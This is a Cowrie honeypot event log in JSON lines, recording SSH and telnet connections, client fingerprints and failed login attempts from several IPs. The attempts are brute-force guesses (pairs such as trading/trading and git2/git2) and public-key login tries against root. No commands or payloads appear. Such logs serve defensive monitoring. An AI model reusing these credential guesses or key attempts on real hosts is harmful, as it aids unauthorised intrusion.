{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59216,"dst_ip":"159.203.135.109","dst_port":23,"session":"b88fa00a5eba","protocol":"telnet","message":"New connection: 128.199.8.54:59216 (159.203.135.109:23) [session: b88fa00a5eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:41.965877Z"}
{"eventid":"cowrie.session.closed","duration":36.65443396568298,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:18.620182Z","src_ip":"128.199.8.54","session":"b88fa00a5eba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48452,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b54303a10c","protocol":"ssh","message":"New connection: 2.57.122.208:48452 (159.203.135.109:22) [session: 23b54303a10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:23.911067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:23.954107Z","src_ip":"2.57.122.208","session":"23b54303a10c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:24.149184Z","src_ip":"2.57.122.208","session":"23b54303a10c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:24.930742Z","src_ip":"2.57.122.208","session":"23b54303a10c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:26.249939Z","src_ip":"2.57.122.208","session":"23b54303a10c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60968,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0438724119","protocol":"telnet","message":"New connection: 128.199.8.54:60968 (159.203.135.109:23) [session: eb0438724119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:28.005576Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":34898,"dst_ip":"159.203.135.109","dst_port":22,"session":"7342086b84af","protocol":"ssh","message":"New connection: 122.168.194.41:34898 (159.203.135.109:22) [session: 7342086b84af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:29.441622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:29.446923Z","src_ip":"122.168.194.41","session":"7342086b84af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:29.710603Z","src_ip":"122.168.194.41","session":"7342086b84af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git2","password":"git2","message":"login attempt [git2/git2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:30.789809Z","src_ip":"122.168.194.41","session":"7342086b84af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:32.055484Z","src_ip":"122.168.194.41","session":"7342086b84af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.147","src_port":32194,"dst_ip":"10.17.0.5","dst_port":22,"session":"a257d2323f40","protocol":"ssh","message":"New connection: 176.65.131.147:32194 (10.17.0.5:22) [session: a257d2323f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:39.855221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:39.860034Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:39.946694Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:28:52:24:e8:cb:92:21:80:c4:3f:d0:a0:28:64:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGWV+W7EoEHUprR6Jwr2+6Lhd395jTq7byaBIuhB+qeY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ac:28:52:24:e8:cb:92:21:80:c4:3f:d0:a0:28:64:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.357063Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:28:52:24:e8:cb:92:21:80:c4:3f:d0:a0:28:64:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGWV+W7EoEHUprR6Jwr2+6Lhd395jTq7byaBIuhB+qeY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.360529Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:23:c6:43:fd:32:b1:b9:35:6f:ef:b8:2b:4f:17:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQP4RfxCQI+qza77WqqCFyJ2giRtM0yODGYHQTqsC2RPbsOD3RNGSWyL6cv01ZTO0NZrGW7+/ue+GgvFWYkkojygfWadJdfjZHFcf7IR84PehvHZ/NHhZo71kv+r5bNe0E9JoFRFrQQpVD3eFSkZ1g20GLNr+99IJQEKc5FsGolcqr4lueuvYUIrcPwEQwEoseasMM/zmWD+sP1so35uldQjAB+Z2M0/HH3vBH1hzyHPMwUq5Guv5bjQovnAbt8BLqhS1VvD0rYGQO2H49DOLnwy56FuRBZV3XYUYXvaPlRF3C1aKADKEZZDbT/XFHJDuXjmKOzBWr0CJLLYjDFPML","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:23:c6:43:fd:32:b1:b9:35:6f:ef:b8:2b:4f:17:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.447583Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:23:c6:43:fd:32:b1:b9:35:6f:ef:b8:2b:4f:17:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQP4RfxCQI+qza77WqqCFyJ2giRtM0yODGYHQTqsC2RPbsOD3RNGSWyL6cv01ZTO0NZrGW7+/ue+GgvFWYkkojygfWadJdfjZHFcf7IR84PehvHZ/NHhZo71kv+r5bNe0E9JoFRFrQQpVD3eFSkZ1g20GLNr+99IJQEKc5FsGolcqr4lueuvYUIrcPwEQwEoseasMM/zmWD+sP1so35uldQjAB+Z2M0/HH3vBH1hzyHPMwUq5Guv5bjQovnAbt8BLqhS1VvD0rYGQO2H49DOLnwy56FuRBZV3XYUYXvaPlRF3C1aKADKEZZDbT/XFHJDuXjmKOzBWr0CJLLYjDFPML","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.450941Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:64:26:e5:e9:57:38:03:e5:a6:c2:a9:18:3c:e4:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHevtUyHY2mLMmA04O2Ixkk4Supbdg0KPOjPIFQxvL0jC8de0hJfZv5YRhz93HVljCHBXJSXIMIPD84XEP+/Vc11dP5sD+s1VZELN9F9C3KX5SoZ1miD0hgg2pXWp8jH7QIQG7FrAnPRS0CeRNUgFdnMxvNcYRrXhrkPUZilSfkXJ/JAzcA531WggR9fWObHRy4QFRKlzkk59LyoQ2Yr+UVZtqu8NfOA+PXHK9CtrNcnBjzl6Ug0kg8/kWnAg2QV/RwPVAGw0rdqPnD2ctj4gkXlVbkfYLmv6UtkO8F50amHV+WpPl/o6Oh18KSP2tbTQVN5WvdUEb3+vZlvLnrFMh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:64:26:e5:e9:57:38:03:e5:a6:c2:a9:18:3c:e4:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.539158Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:64:26:e5:e9:57:38:03:e5:a6:c2:a9:18:3c:e4:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHevtUyHY2mLMmA04O2Ixkk4Supbdg0KPOjPIFQxvL0jC8de0hJfZv5YRhz93HVljCHBXJSXIMIPD84XEP+/Vc11dP5sD+s1VZELN9F9C3KX5SoZ1miD0hgg2pXWp8jH7QIQG7FrAnPRS0CeRNUgFdnMxvNcYRrXhrkPUZilSfkXJ/JAzcA531WggR9fWObHRy4QFRKlzkk59LyoQ2Yr+UVZtqu8NfOA+PXHK9CtrNcnBjzl6Ug0kg8/kWnAg2QV/RwPVAGw0rdqPnD2ctj4gkXlVbkfYLmv6UtkO8F50amHV+WpPl/o6Oh18KSP2tbTQVN5WvdUEb3+vZlvLnrFMh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.543173Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:48:f9:db:02:6d:b8:6a:47:a7:24:39:cc:c3:2d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7LDJI+Vx9sc/DtroD25/VBE0qgbAp8GG5BGemaGOifOMfQbjt4trLrjEHusl2qdbG770jf7GZ7OglH6Vrs65ohMCxV6n7rnAXCtJpuV4D99kpm5pV2493K5ooppUKmx1Vn1wc9ICjRH0ZcZ8+y0u4noDcY5Gr4U5FnlRr1mX9ZlNBxoV+Hxt4Ilp0OlvqzhnVvpt+dokwp+SMnvQ9ylqmyIyjpiLtpotmXOIVi1/fjf2YxjzIm6maSmaRE1uQB5Vzd+mCbPOxAQbwFNYa9H5vFDsGwiltqn2aobRA8QAlxu9b+6yQLqqdb3+txW5r/RvcVq1AR5NN+PKpE5jgWDN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:48:f9:db:02:6d:b8:6a:47:a7:24:39:cc:c3:2d:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.630971Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:48:f9:db:02:6d:b8:6a:47:a7:24:39:cc:c3:2d:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm7LDJI+Vx9sc/DtroD25/VBE0qgbAp8GG5BGemaGOifOMfQbjt4trLrjEHusl2qdbG770jf7GZ7OglH6Vrs65ohMCxV6n7rnAXCtJpuV4D99kpm5pV2493K5ooppUKmx1Vn1wc9ICjRH0ZcZ8+y0u4noDcY5Gr4U5FnlRr1mX9ZlNBxoV+Hxt4Ilp0OlvqzhnVvpt+dokwp+SMnvQ9ylqmyIyjpiLtpotmXOIVi1/fjf2YxjzIm6maSmaRE1uQB5Vzd+mCbPOxAQbwFNYa9H5vFDsGwiltqn2aobRA8QAlxu9b+6yQLqqdb3+txW5r/RvcVq1AR5NN+PKpE5jgWDN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.635305Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:50:7e:71:e1:3b:69:0d:f5:1a:60:d5:2a:b5:29:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0GwyYfUWc1AMzPOJahtgA1gSJiL5dTRaKCwzh+0a9tmNKNS4KixkSDT6SFqYG4+UYTPcHHJ/pntvZngHFR63CrY1hezKyXMwm7UdrxRFSD4g7WydhOVZ4ef6vsI6VAPw2SJmKbe8eDVqomXGUWOsDiiS3nVzLgp+6rs9lkrDdLX6GQzr5g+kRT8IuNbEUV74lnNRUgZ8nWkfrvHM0hJq+7LnuqDKQBE4fVFmJ/V+YzEZ3sToMgxAtr0qFzwkB22yeu0toAvj0jl8Gl9UJmlw1r7KKx3T/S0YKFfBLoudYtnqH5xZSm2dYMBGg3qki7Uvtx4pxuzcZBccnKcduzXZcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:50:7e:71:e1:3b:69:0d:f5:1a:60:d5:2a:b5:29:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.723643Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:50:7e:71:e1:3b:69:0d:f5:1a:60:d5:2a:b5:29:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0GwyYfUWc1AMzPOJahtgA1gSJiL5dTRaKCwzh+0a9tmNKNS4KixkSDT6SFqYG4+UYTPcHHJ/pntvZngHFR63CrY1hezKyXMwm7UdrxRFSD4g7WydhOVZ4ef6vsI6VAPw2SJmKbe8eDVqomXGUWOsDiiS3nVzLgp+6rs9lkrDdLX6GQzr5g+kRT8IuNbEUV74lnNRUgZ8nWkfrvHM0hJq+7LnuqDKQBE4fVFmJ/V+YzEZ3sToMgxAtr0qFzwkB22yeu0toAvj0jl8Gl9UJmlw1r7KKx3T/S0YKFfBLoudYtnqH5xZSm2dYMBGg3qki7Uvtx4pxuzcZBccnKcduzXZcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.727891Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:40.816792Z","src_ip":"176.65.131.147","session":"a257d2323f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39256,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc8e07d17a3e","protocol":"telnet","message":"New connection: 128.199.8.54:39256 (159.203.135.109:23) [session: bc8e07d17a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:40:58.204908Z"}
{"eventid":"cowrie.session.closed","duration":33.54920268058777,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:01.554677Z","src_ip":"128.199.8.54","session":"eb0438724119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":45348,"dst_ip":"10.17.0.5","dst_port":22,"session":"287334b39f74","protocol":"ssh","message":"New connection: 172.245.225.106:45348 (10.17.0.5:22) [session: 287334b39f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:07.951174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:07.959810Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.005394Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:28:52:24:e8:cb:92:21:80:c4:3f:d0:a0:28:64:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGWV+W7EoEHUprR6Jwr2+6Lhd395jTq7byaBIuhB+qeY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ac:28:52:24:e8:cb:92:21:80:c4:3f:d0:a0:28:64:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.205164Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:28:52:24:e8:cb:92:21:80:c4:3f:d0:a0:28:64:f4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGWV+W7EoEHUprR6Jwr2+6Lhd395jTq7byaBIuhB+qeY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.208960Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:23:c6:43:fd:32:b1:b9:35:6f:ef:b8:2b:4f:17:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQP4RfxCQI+qza77WqqCFyJ2giRtM0yODGYHQTqsC2RPbsOD3RNGSWyL6cv01ZTO0NZrGW7+/ue+GgvFWYkkojygfWadJdfjZHFcf7IR84PehvHZ/NHhZo71kv+r5bNe0E9JoFRFrQQpVD3eFSkZ1g20GLNr+99IJQEKc5FsGolcqr4lueuvYUIrcPwEQwEoseasMM/zmWD+sP1so35uldQjAB+Z2M0/HH3vBH1hzyHPMwUq5Guv5bjQovnAbt8BLqhS1VvD0rYGQO2H49DOLnwy56FuRBZV3XYUYXvaPlRF3C1aKADKEZZDbT/XFHJDuXjmKOzBWr0CJLLYjDFPML","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:23:c6:43:fd:32:b1:b9:35:6f:ef:b8:2b:4f:17:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:41:08.254427Z","src_ip":"172.245.225.106","session":"287334b39f74","protocol":"ssh"}
